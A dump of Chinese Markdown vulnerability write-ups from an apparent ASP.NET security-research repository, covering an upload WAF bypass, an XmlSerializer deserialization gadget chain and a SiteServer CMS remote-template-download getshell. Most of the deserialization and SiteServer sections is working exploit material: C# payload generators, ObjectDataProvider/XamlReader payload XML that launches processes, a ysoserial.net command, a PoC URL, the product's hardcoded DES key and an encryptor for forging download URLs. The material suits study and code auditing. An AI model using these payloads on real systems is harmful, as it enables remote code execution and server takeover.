183 | 其实我们直接控制`Content-Type`为`image/xxxx` 后缀名为我们想要的即可,比如
184 |
185 | `http://192.168.110.1:8000/1.ashx`
186 |
187 |
188 | # 0x02 总结
189 |
190 | 有的网上的poc只是为了方便大多数环境,当我们细读源码后知道新的方法往往能找到一些WAF绕过的技巧。
--------------------------------------------------------------------------------
/asp.net_bug/第六章:XmlSerializer反序列化.md:
--------------------------------------------------------------------------------
1 | # 0x00 简介
2 |
3 | 反序列化学习主要用到如下资料:
4 |
5 | 1.`.NET`反序列化`payload`生成工具[ysoserial.net](https://github.com/pwntester/ysoserial.net)。
6 |
7 | 2.[attacking-net-serialization](https://speakerdeck.com/pwntester/attacking-net-serialization)其中列举了多种反序列化漏洞。
8 |
9 | 
10 |
11 | 3.[BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
12 |
13 | # 0x01 XmlSerializer序列化
14 |
15 | >`System.Xml.Serialization.XmlSerializer`类他可以将对象序列化到XML文档中和从XML文档中反序列化对象,在这个过程中构造`XmlSerializer`对象期间需要指定它将处理的类型`XmlSerializer(Type)` 传入的Type也就是我们的重点关注对象,因为Type类,是用来包含类型的特性。类型信息包含数据,属性和方法等信息。如果我们传入一个特定的payload那么我们就可以调用他的方法了。
16 |
17 | 首先我们先熟悉一下`XmlSerializer`的序列化
18 |
19 |
20 | >code:1.0
21 |
22 | ```
23 | namespace XmlSerializers
24 | {
25 | class Program
26 | {
27 | static void Main(string[] args)
28 | {
29 | test fof = new test();
30 | fof.id = "404s";
31 | XmlSerializer xmlFormatter = new XmlSerializer(typeof(test));
32 | using (Stream stream = new FileStream("404.xml", FileMode.Create, FileAccess.Write, FileShare.None))
33 | {
34 | xmlFormatter.Serialize(stream, fof);
35 | }
36 | }
37 | }
38 | [XmlRoot("test")]
39 | public class test
40 | {
41 | string _id = "404";
42 | [XmlElement]
43 | public string id {
44 | get { return _id; }
45 | set
46 | {
47 | _id = value;
48 | }
49 | }
50 | }
51 | }
52 |
53 | ```
54 | 其中`[XmlRoot("test")]`指定的元素将被序列化成xml的根元素,`[XmlElement]`为指定类的公共域或读/写属性,具体可以参考[.net序列化及反序列化](https://www.cnblogs.com/sandyliu1999/p/4844664.html)。
55 |
56 | >404.xml
57 |
58 | ```
59 |
60 |
61 |
62 | 404s
63 |
64 |
65 | ```
66 |
67 | 如果我们把这段代码换成如下:
68 |
69 | >code:1.1
70 |
71 | ```
72 |
73 | namespace XmlSerializers
74 | {
75 | class Program
76 | {
77 | static void Main(string[] args)
78 | {
79 | ExecCMD fof = new ExecCMD();
80 | fof.cmd = "cmd";
81 | XmlSerializer xmlFormatter = new XmlSerializer(typeof(ExecCMD));
82 | using (Stream stream = new FileStream("404.xml", FileMode.Create, FileAccess.Write, FileShare.None))
83 | {
84 | xmlFormatter.Serialize(stream, fof);
85 | }
86 | }
87 | }
88 | [XmlRoot("ExecCMD")]
89 | public class ExecCMD
90 | {
91 | private String _cmd = "notepad";
92 | [XmlElement]
93 | public String cmd
94 | {
95 | get { return _cmd; }
96 | set
97 | {
98 | _cmd = value;
99 | ExecCommand();
100 | }
101 | }
102 | private void ExecCommand()
103 | {
104 | Process myProcess = new Process();
105 | myProcess.StartInfo.FileName = _cmd;
106 | myProcess.Start();
107 | myProcess.Dispose();
108 | }
109 | }
110 | }
111 |
112 |
113 | ```
114 |
115 | 程序本意是调用`notepad.exe`,我们在序列化的过程中把`_cmd`的值改成`cmd` 然后序列化/反序列化他将调用`CMD.EXE`,当然实际是基本遇不到这种情况的。
116 |
117 | >404.xml
118 |
119 | ```
120 |
121 |
122 | cmd
123 |
124 |
125 | ```
126 |
127 |
128 |
129 | # 0x01 XmlSerializer反序列化
130 |
131 | 前面说过构造`XmlSerializer`对象期间需要指定它将处理的类型`XmlSerializer(Type)`,获取`Type`有一般有有3种方式:a.使用typeof运算符 b.使用GetType()方法 c.使用Type类的静态方法GetType()。
132 |
133 | ## 1.1 typeof运算符
134 |
135 | 我们把`code:1.1`中的`Main`函数换成如下
136 |
137 | ```
138 |
139 | static void Main(string[] args)
140 | {
141 |
142 | using (StringReader rdr = new StringReader(" cmd.exe "))
143 | {
144 | ExecCMD execCMD;
145 | XmlSerializer serializer = new XmlSerializer(typeof(ExecCMD));
146 | execCMD = (ExecCMD)serializer.Deserialize(rdr);
147 | Console.WriteLine(execCMD.cmd);
148 | Console.WriteLine(typeof(ExecCMD));
149 | }
150 | }
151 |
152 | ```
153 |
154 | 其中传入的`XML`就是`code:1.1`生成的`404.xml`运行程序看到如下:
155 |
156 |
157 | 
158 |
159 | ## 1.2 GetType()方法
160 |
161 | `GetType()`是基类`System.Object`的方法,因此只有建立一个实例之后才能够被调用
162 |
163 | 
164 |
165 |
166 | ## 1.3 Type类的静态方法GetType(string)
167 |
168 | 相比前面的2种方法,`Type.GetType(string)` 允许传入自定义字符串,那么灵活性更高。
169 |
170 | 
171 |
172 |
173 | 至此我们的利用链应该是:
174 |
175 |
176 |
177 | 
178 |
179 |
180 | 这种方式还是比较被动,我们是否可以执行任意类的任意方法,这样我们的利用过程就更为主动,这里就要引入`ObjectDataProvider`类。
181 |
182 |
183 | # 0x02 寻找利用链
184 |
185 |
186 |
187 | ## 2.0 ObjectDataProvider
188 |
189 |
190 | [ObjectDataProvider](https://docs.microsoft.com/zh-cn/dotnet/api/system.windows.data.objectdataprovider)用于包装和创建可以用作绑定源的对象,听起来比较抽象,可以理解为可以调用一个方法,并且传入参数。
191 |
192 |
193 |
194 | >code 2.0
195 |
196 | ```
197 |
198 | public static void test()
199 | {
200 | ObjectDataProvider objectDataProvider = new ObjectDataProvider();
201 | objectDataProvider.ObjectInstance = new MyClasss();
202 | objectDataProvider.MethodName = "PullFile";
203 | objectDataProvider.MethodParameters.Add("cmd");
204 | XmlSerializer serializer1 = new XmlSerializer(typeof(ObjectDataProvider), new Type[] { typeof(MyClasss) });
205 |
206 | TextWriter textWriter = new StreamWriter(@"data.xml");
207 | serializer1.Serialize(textWriter, objectDataProvider);
208 | }
209 | public class MyClasss
210 | {
211 |
212 |
213 | public void PullFile(string _cmd)
214 | {
215 | Process myProcess = new Process();
216 | myProcess.StartInfo.FileName = _cmd;
217 | myProcess.Start();
218 | myProcess.Dispose();
219 | }
220 |
221 | }
222 |
223 | ```
224 | 
225 |
226 |
227 | 但是这样生产会报错,原因好像是`XmlSerializer` 序列化只会找他的基类,所以`objectDataProvider.ObjectInstance = new MyClasss();`这里就没办法找到,要解决这个问题可以用`XmlSerializer(Type, Type[])` 或者用[ExpandedWrapper](https://docs.microsoft.com/zh-cn/dotnet/api/system.data.services.internal.expandedwrapper-1)预加载实体
228 |
229 | ### 2.0.1 XmlSerializer(Type, Type[])
230 |
231 | > code 2.1
232 |
233 | ```
234 |
235 | ObjectDataProvider objectDataProvider = new ObjectDataProvider();
236 | objectDataProvider.ObjectInstance = new MyClasss();
237 | objectDataProvider.MethodName = "PullFile";
238 | objectDataProvider.MethodParameters.Add("cmd");
239 | XmlSerializer serializer1 = new XmlSerializer(typeof(ObjectDataProvider), new Type[] { typeof(MyClasss) });
240 |
241 | TextWriter textWriter = new StreamWriter(@"data.xml");
242 | serializer1.Serialize(textWriter, objectDataProvider);
243 |
244 | ```
245 |
246 | >data.xml
247 |
248 | ```
249 |
250 |
251 |
252 |
253 | PullFile
254 |
255 | cmd
256 |
257 |
258 |
259 | ```
260 |
261 | ### 2.0.2 [ExpandedWrapper](https://docs.microsoft.com/zh-cn/dotnet/api/system.data.services.internal.expandedwrapper-1)预加载实体
262 |
263 | >code 2.2
264 |
265 | ```
266 | ExpandedWrapper myExpWrap = new ExpandedWrapper();
267 | myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
268 | myExpWrap.ProjectedProperty0.ObjectInstance = new MyClasss();
269 | myExpWrap.ProjectedProperty0.MethodName = "PullFile";
270 | myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
271 | XmlSerializer serializer1 = new XmlSerializer(typeof(ExpandedWrapper));
272 | TextWriter textWriter = new StreamWriter(@"data.xml");
273 | serializer1.Serialize(textWriter, myExpWrap);
274 |
275 | ```
276 |
277 | >data.xml
278 |
279 | ```
280 |
281 |
282 |
283 |
284 |
285 | PullFile
286 |
287 | cmd.exe
288 |
289 |
290 |
291 |
292 | ```
293 |
294 | 反序列化触发:
295 |
296 | 
297 |
298 | 至此我们已经可以使用`ObjectDataProvider` 调用引用类文件的方法了。但是`MyClasss`类也是我们自己设计的,在实际环境中可能还是不存在这种理想化模型,由于`ObjectDataProvider`可以调用`Process.Start`,但是不能直接序列化,所以我们需要找到一个途径来间接调用`Process.Start`。
299 |
300 | 
301 |
302 |
303 | ## 2.1 XamlReader
304 |
305 | `XamlReader`他有一个方法`Parse(String)` 是传入一个字符串,返回根对象,那么我们用`ObjectDataProvider`构造传参一个`XAML`,同时XAML的`ObjectDataProvider`调用`Process.Start`那么利用链就成功了。
306 |
307 | ## 2.2 ResourceDictionary
308 |
309 | 要生成XAML还需要引用[ResourceDictionary](https://docs.microsoft.com/zh-cn/dotnet/api/system.windows.resourcedictionary)类。
310 |
311 |
312 | ## 2.3 生成payload
313 |
314 | >code 2.3
315 |
316 | ```
317 |
318 | public static void xaml_data()
319 | {
320 | ObjectDataProvider objectDataProvider = new ObjectDataProvider();
321 | objectDataProvider.ObjectType = typeof(System.Diagnostics.Process);
322 | objectDataProvider.MethodParameters.Add("notepad.exe");
323 | objectDataProvider.MethodName = "Start";
324 | ResourceDictionary R_xaml = new ResourceDictionary();
325 | R_xaml.Add("test", objectDataProvider);
326 | string xaml_data;
327 | using (MemoryStream stream = new MemoryStream())
328 | {
329 |
330 | XamlServices.Save(stream, objectDataProvider);
331 | stream.Position = 0;
332 | StreamReader reader = new StreamReader(stream);
333 | xaml_data = reader.ReadToEnd();
334 | stream.Close();
335 | }
336 |
337 | Console.WriteLine(xaml_data);
338 | }
339 |
340 | public static void xml_payload()
341 | {
342 | ExpandedWrapper myExpWrap = new ExpandedWrapper();
343 | myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
344 | myExpWrap.ProjectedProperty0.ObjectInstance = new System.Windows.Markup.XamlReader();
345 | myExpWrap.ProjectedProperty0.MethodName = "Parse";
346 | myExpWrap.ProjectedProperty0.MethodParameters.Add(xaml_data());
347 |
348 | using (MemoryStream stream = new MemoryStream())
349 | {
350 | XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper));
351 | xml.Serialize(stream, myExpWrap);
352 | stream.Position = 0;
353 | StreamReader reader = new StreamReader(stream);
354 | Console.WriteLine(reader.ReadToEnd());
355 | Console.WriteLine(typeof(ExpandedWrapper).AssemblyQualifiedName);
356 | }
357 |
358 | }
359 |
360 | ```
361 | `xaml_data()` 生成`XamlReader()`调用的`xaml`文件,`ObjectDataProvider`调用`XamlReader()`传参`xaml`整个利用链的`payload`就完成了, `typeof(ExpandedWrapper).AssemblyQualifiedName`是获取程序集限定名,用于传入`Type`。
362 |
363 | >exp.xml
364 |
365 | ```
366 |
367 |
368 |
369 |
370 | Parse
371 |
372 | <ObjectDataProvider MethodName="Start" ObjectType="sd:Process" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
373 | <ObjectDataProvider.MethodParameters>
374 | <x:String>notepad.exe</x:String>
375 | </ObjectDataProvider.MethodParameters>
376 | </ObjectDataProvider>
377 |
378 |
379 |
380 |
381 | ```
382 |
383 |
384 | 注:使用`XamlReader`等需要引用对应的模块
385 |
386 |
387 | ## 2.4 复现
388 |
389 | >code 2.4 反序列化
390 |
391 | ```
392 |
393 | using (StringReader rdr = new StringReader("payload"))
394 | {
395 | XmlSerializer serializer = new XmlSerializer(Type.GetType("System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"));
396 | serializer.Deserialize(rdr);
397 | }
398 |
399 | ```
400 |
401 |
402 | 
403 |
404 | ## 2.5 ysoserial.net
405 |
406 | 以上其实是[ysoserial.net](https://github.com/pwntester/ysoserial.net)生成的`payload`反推。
407 |
408 | >ysoserial.exe -f XmlSerializer -g ObjectDataProvider -c "notepad.exe" -o raw
409 |
410 | ```
411 |
412 |
413 |
414 |
415 |
416 |
417 | Parse
418 |
419 |
420 | <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
421 | <ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start">
422 | <ObjectDataProvider.MethodParameters>
423 | <System:String>cmd</System:String>
424 | <System:String>/c notepad.exe</System:String>
425 | </ObjectDataProvider.MethodParameters>
426 | </ObjectDataProvider>
427 | </ResourceDictionary>
428 |
429 |
430 |
431 |
432 |
433 |
434 |
435 | ```
436 | 这里把payload分成2部分使用
437 |
438 | >Type
439 |
440 | ```
441 | System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
442 |
443 | ```
444 |
445 | >XML
446 |
447 | ```
448 |
449 |
450 |
451 |
452 | Parse
453 |
454 |
455 | <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
456 | <ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start">
457 | <ObjectDataProvider.MethodParameters>
458 | <System:String>cmd</System:String>
459 | <System:String>/c notepad.exe</System:String>
460 | </ObjectDataProvider.MethodParameters>
461 | </ObjectDataProvider>
462 | </ResourceDictionary>
463 |
464 |
465 |
466 |
467 |
468 |
469 | ```
470 |
471 | 这里位于`anyType`的`xmlns:xsi`如果按照生成的payload使用会造成`xsi`是未声明的前缀,所以这里我把他提前到`ExpandedWrapperOfXamlReaderObjectDataProvider` 。
472 |
473 | # 0x03 总结
474 |
475 |
476 | .NET反序列化的攻击链还是比较难找。审计的话就看`type` 和 `xml` 这2个值是否可控。
477 |
478 | 文章如有错误,多多提醒,万分感谢
479 |
480 |
481 |
482 | ### 参考文章:
483 |
484 | [《.NET高级代码审计(第一课)XmlSerializer反序列化漏洞》](https://www.anquanke.com/post/id/172316)
485 |
486 | [《.Net反序列化那些事》](https://mp.weixin.qq.com/s/0ztdMsdEeEBWM0j8uEF_Cw)
487 |
--------------------------------------------------------------------------------
/asp.net_bug/第四章:SiteServer远程下载分析.md:
--------------------------------------------------------------------------------
1 | # 0x00 简介
2 |
3 | 在N年前有个siteserver的远程getshell,其实这个洞很简单,问题出在下载模板这里。
4 |
5 | 找个低版本4.5左右的[siteserver](https://github.com/siteserver/cms/releases)下载
6 |
7 | # 0x01 漏洞成因
8 |
9 | POC
10 |
11 | ```
12 | 192.168.110.129:8081/siteserver/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=hello&downloadUrl=ZjYIub0slash0YxA1HKHKT0add0CAWlTomu1H0add0qeh9upSVU73ZzMc0equals0&directoryName=hello
13 |
14 | ```
15 |
16 | 问题文件出在`Ajax/ajaxOtherService.aspx`我们可以看到参数`SiteTemplateDownload`,顾名思义 站点模板下载,比较明显的后台管理方面的漏洞。
17 |
18 | 
19 |
20 | 找到对应文件,进行反编译看看源码。
21 |
22 |
23 | >code 0x00
24 |
25 | ```
26 | public void Page_Load(object sender, EventArgs e)
27 | {
28 | string a = base.Request["type"];
29 | NameValueCollection attributes = new NameValueCollection();
30 | string text = null;
31 | RequestBody body = new RequestBody();
32 | if (a == "GetCountArray")
33 | {
34 | string userKeyPrefix = base.Request["userKeyPrefix"];
35 | attributes = this.GetCountArray(userKeyPrefix);
36 | }
37 | else if (a == "SiteTemplateDownload")
38 | {
39 | string userKeyPrefix2 = base.Request["userKeyPrefix"];
40 | string downloadUrl = TranslateUtils.DecryptStringBySecretKey(base.Request["downloadUrl"]);
41 | string directoryName = base.Request["directoryName"];
42 | attributes = this.SiteTemplateDownload(downloadUrl, directoryName, userKeyPrefix2);
43 | }
44 | ...
45 |
46 | ```
47 |
48 | 提出无关代码,当传入的`type`为`SiteTemplateDownload`的时候用`DecryptStringBySecretKey`函数对`downloadurl`进行了解密,跟进这个函数。
49 |
50 | ```
51 |
52 | >code 0x01
53 |
54 | public static string DecryptStringBySecretKey(string inputString)
55 | {
56 | if (string.IsNullOrEmpty(inputString))
57 | {
58 | return string.Empty;
59 | }
60 | inputString = inputString.Replace("0add0", "+").Replace("0equals0", "=").Replace("0and0", "&").Replace("0question0", "?").Replace("0quote0", "'").Replace("0slash0", "/");
61 | DESEncryptor desencryptor = new DESEncryptor();
62 | desencryptor.InputString = inputString;
63 | desencryptor.DecryptKey = FileConfigManager.Instance.SecretKey;
64 | desencryptor.DesDecrypt();
65 | return desencryptor.OutString;
66 | }
67 |
68 | ```
69 |
70 | 对传入的值进行简单替换,然后调用`DesDecrypt`进行解密,跟进此函数。
71 |
72 | >code 0x02
73 |
74 | ```
75 | public void DesDecrypt()
76 | {
77 | byte[] rgbIV = new byte[]
78 | {
79 | 18,
80 | 52,
81 | 86,
82 | 120,
83 | 144,
84 | 171,
85 | 205,
86 | 239
87 | };
88 | byte[] array = new byte[this.inputString.Length];
89 | try
90 | {
91 | byte[] bytes = Encoding.UTF8.GetBytes(this.decryptKey.Substring(0, 8));
92 | DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
93 | array = Convert.FromBase64String(this.inputString);
94 | MemoryStream memoryStream = new MemoryStream();
95 | CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);
96 | cryptoStream.Write(array, 0, array.Length);
97 | cryptoStream.FlushFinalBlock();
98 | Encoding encoding = new UTF8Encoding();
99 | this.outString = encoding.GetString(memoryStream.ToArray());
100 | }
101 | catch (Exception ex)
102 | {
103 | this.noteMessage = ex.Message;
104 | }
105 | }
106 |
107 | ```
108 |
109 | 可以看到是个`DES`加密。 其中密匙`DecryptKey`在上一块代码区指向`FileConfigManager.Instance.SecretKey`
110 |
111 | KEY:
112 |
113 | ```
114 |
115 | public string SecretKey { get; } = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
116 |
117 | ```
118 |
119 | 知道密匙和加密方法,很简单就能写出加密解密方法,直接可以直接扣他的代码这里直接写加密方式。
120 |
121 |
122 |
123 | DesEncrypt:
124 |
125 | ```
126 |
127 | using System;
128 | using System.Collections.Generic;
129 | using System.IO;
130 | using System.Linq;
131 | using System.Security.Cryptography;
132 | using System.Text;
133 | using System.Threading.Tasks;
134 |
135 | namespace siteserver
136 | {
137 | class Program
138 | {
139 |
140 | static void Main(string[] args)
141 | {
142 | DesEncrypt("www.baidu.com/1.zip");
143 | }
144 | static public void DesEncrypt(string inputString)
145 | {
146 | string encryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
147 | byte[] rgbIV = new byte[]
148 | {
149 | 18,
150 | 52,
151 | 86,
152 | 120,
153 | 144,
154 | 171,
155 | 205,
156 | 239
157 | };
158 | try
159 | {
160 | byte[] bytes = Encoding.UTF8.GetBytes((encryptKey.Length > 8) ? encryptKey.Substring(0, 8) : encryptKey);
161 | DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
162 | byte[] bytes2 = Encoding.UTF8.GetBytes(inputString);
163 | MemoryStream memoryStream = new MemoryStream();
164 | CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateEncryptor(bytes, rgbIV), CryptoStreamMode.Write);
165 | cryptoStream.Write(bytes2, 0, bytes2.Length);
166 | cryptoStream.FlushFinalBlock();
167 | Console.WriteLine(Convert.ToBase64String(memoryStream.ToArray()).Replace("+", "0add0").Replace("=", "0equals0").Replace("&", "0and0").Replace("?", "0question0").Replace("'", "0quote0").Replace("/", "0slash0"));
168 | }
169 | catch (Exception ex)
170 | {
171 | }
172 | }
173 |
174 | }
175 | }
176 |
177 | ```
178 |
179 | 
180 |
181 |
182 | 在POC中还有参数`userKeyPrefix`和`directoryName` 在`code 0x00`中看到参数传入`SiteTemplateDownload`函数,继续跟进。
183 |
184 |
185 | ```
186 | public NameValueCollection SiteTemplateDownload(string downloadUrl, string directoryName, string userKeyPrefix)
187 | {
188 | string key = userKeyPrefix + "_TotalCount";
189 | string key2 = userKeyPrefix + "_CurrentCount";
190 | string key3 = userKeyPrefix + "_Message";
191 | CacheUtils.Max(key, "5");
192 | CacheUtils.Max(key2, "0");
193 | CacheUtils.Max(key3, string.Empty);
194 | NameValueCollection progressTaskNameValueCollection;
195 | try
196 | {
197 | CacheUtils.Max(key2, "1");
198 | CacheUtils.Max(key3, "开始下载模板压缩包,可能需要10到30分钟,请耐心等待");
199 | string siteTemplatesPath = PathUtility.GetSiteTemplatesPath(directoryName + ".zip");
200 | FileUtils.DeleteFileIfExists(siteTemplatesPath);
201 | WebClientUtils.SaveRemoteFileToLocal(downloadUrl, siteTemplatesPath);
202 | CacheUtils.Max(key2, "4");
203 | CacheUtils.Max(key3, "模板压缩包下载成功,开始解压缩");
204 | string siteTemplatesPath2 = PathUtility.GetSiteTemplatesPath(directoryName);
205 | if (!DirectoryUtils.IsDirectoryExists(siteTemplatesPath2))
206 | {
207 | ZipUtils.UnpackFiles(siteTemplatesPath, siteTemplatesPath2);
208 | }
209 | CacheUtils.Max(key2, "5");
210 | CacheUtils.Max(key3, string.Empty);
211 | progressTaskNameValueCollection = AjaxManager.GetProgressTaskNameValueCollection("站点模板下载成功,请到站点模板管理中查看。", string.Empty);
212 | }
213 | catch (Exception ex)
214 | {
215 | progressTaskNameValueCollection = AjaxManager.GetProgressTaskNameValueCollection(string.Empty, string.Format("
下载失败!
{0}", ex.Message));
216 | }
217 | CacheUtils.Remove(key);
218 | CacheUtils.Remove(key2);
219 | CacheUtils.Remove(key3);
220 | return progressTaskNameValueCollection;
221 | }
222 |
223 | ```
224 |
225 | `userKeyPrefix` 基本不用管,`directoryName`为下载到本地的zip名,下载后zip自动解压,所以漏洞就形成了。
226 |
227 |
228 | # 0x02 漏洞复现
229 |
230 |
231 | 
232 |
233 |
234 |
235 | # 0x03 总结
236 |
237 | 存在这个漏洞的首要原因是`Ajax/ajaxOtherService.aspx`文件没有限制权限,任何人都可以访问,在后台中,模板下载上传,往往是`GETSHELL`的关键点。
--------------------------------------------------------------------------------